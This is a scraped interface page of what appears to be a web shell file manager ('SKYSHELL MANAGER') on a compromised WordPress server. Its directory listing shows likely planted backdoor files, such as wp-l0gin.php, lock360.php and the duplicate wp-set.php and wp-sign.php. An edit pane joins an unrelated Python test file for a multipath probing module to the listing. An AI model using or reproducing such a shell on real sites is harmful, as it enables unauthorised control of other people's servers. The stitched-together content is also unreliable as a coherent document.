📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: test_multipath.py
import mock import subprocess import testtools from probert import multipath from probert.tests.helpers import random_string MP_SEP = multipath.MP_SEP class TestMultipath(testtools.TestCase): @mock.patch('probert.multipath.subprocess.run') def test_multipath_show_paths(self, m_run): mp_out = MP_SEP.join([random_string() for x in range(0, 8)]) cp = subprocess.CompletedProcess(args=['foo'], returncode=0, stdout=mp_out.encode('utf-8'), stderr="") m_run.return_value = cp expected_result = [multipath.MPath(*mp_out.split(MP_SEP))._asdict()] result = multipath.multipath_show_paths() self.assertEqual(expected_result, result) @mock.patch('probert.multipath.subprocess.run') def test_multipath_show_paths_serial_with_spaces(self, m_run): mp_out = MP_SEP.join(['sda', 'IPR-0 1234567890'] + [random_string() for x in range(0, 6)]) cp = subprocess.CompletedProcess(args=['foo'], returncode=0, stdout=mp_out.encode('utf-8'), stderr="") m_run.return_value = cp expected_result = [multipath.MPath(*mp_out.split(MP_SEP))._asdict()] result = multipath.multipath_show_paths() self.assertEqual(expected_result, result) @mock.patch('probert.multipath.subprocess.run') def test_multipath_show_paths_skips_unparsable_output(self, m_run): lines = [ MP_SEP.join([random_string() for x in range(0, 8)]), "", MP_SEP.join([random_string() for x in range(0, 8)]), ] mp_out = "\n".join(lines) cp = subprocess.CompletedProcess(args=['foo'], returncode=0, stdout=mp_out.encode('utf-8'), stderr="") m_run.return_value = cp expected_result = [multipath.MPath(*lines[0].split(MP_SEP))._asdict(), multipath.MPath(*lines[2].split(MP_SEP))._asdict()] result = multipath.multipath_show_paths() self.assertEqual(expected_result, result) @mock.patch('probert.multipath.subprocess.run') def test_multipath_show_maps(self, m_run): mp_out = MP_SEP.join([random_string() for x in range(0, 3)]) cp = subprocess.CompletedProcess(args=['foo'], returncode=0, stdout=mp_out.encode('utf-8'), stderr="") m_run.return_value = cp expected_result = [multipath.MMap(*mp_out.split(MP_SEP))._asdict()] result = multipath.multipath_show_maps() self.assertEqual(expected_result, result) @mock.patch('probert.multipath.subprocess.run') def test_multipath_show_maps_skips_unparsable_output(self, m_run): lines = [ MP_SEP.join([random_string() for x in range(0, 3)]), "", MP_SEP.join([random_string() for x in range(0, 3)]), ] mp_out = "\n".join(lines) cp = subprocess.CompletedProcess(args=['foo'], returncode=0, stdout=mp_out.encode('utf-8'), stderr="") m_run.return_value = cp expected_result = [multipath.MMap(*lines[0].split(MP_SEP))._asdict(), multipath.MMap(*lines[2].split(MP_SEP))._asdict()] result = multipath.multipath_show_maps() self.assertEqual(expected_result, result) @mock.patch('probert.multipath.subprocess.run') def test_multipath_extract_returns_empty_list_on_err(self, m_run): m_run.side_effect = subprocess.CalledProcessError(cmd=["my cmd"], returncode=1) result = multipath.multipath_show_paths() self.assertEqual([], result) @mock.patch('probert.multipath.multipath_show_paths') @mock.patch('probert.multipath.multipath_show_maps') def test_multipath_probe_collects_maps_and_paths(self, m_maps, m_paths): path_string = MP_SEP.join([random_string() for x in range(0, 8)]) paths = multipath.MPath(*path_string.split(MP_SEP))._asdict() maps_string = MP_SEP.join([random_string() for x in range(0, 3)]) maps = multipath.MMap(*maps_string.split(MP_SEP))._asdict() m_maps.return_value = [maps] m_paths.return_value = [paths] result = multipath.probe() self.assertDictEqual({'maps': [maps], 'paths': [paths]}, result)
Save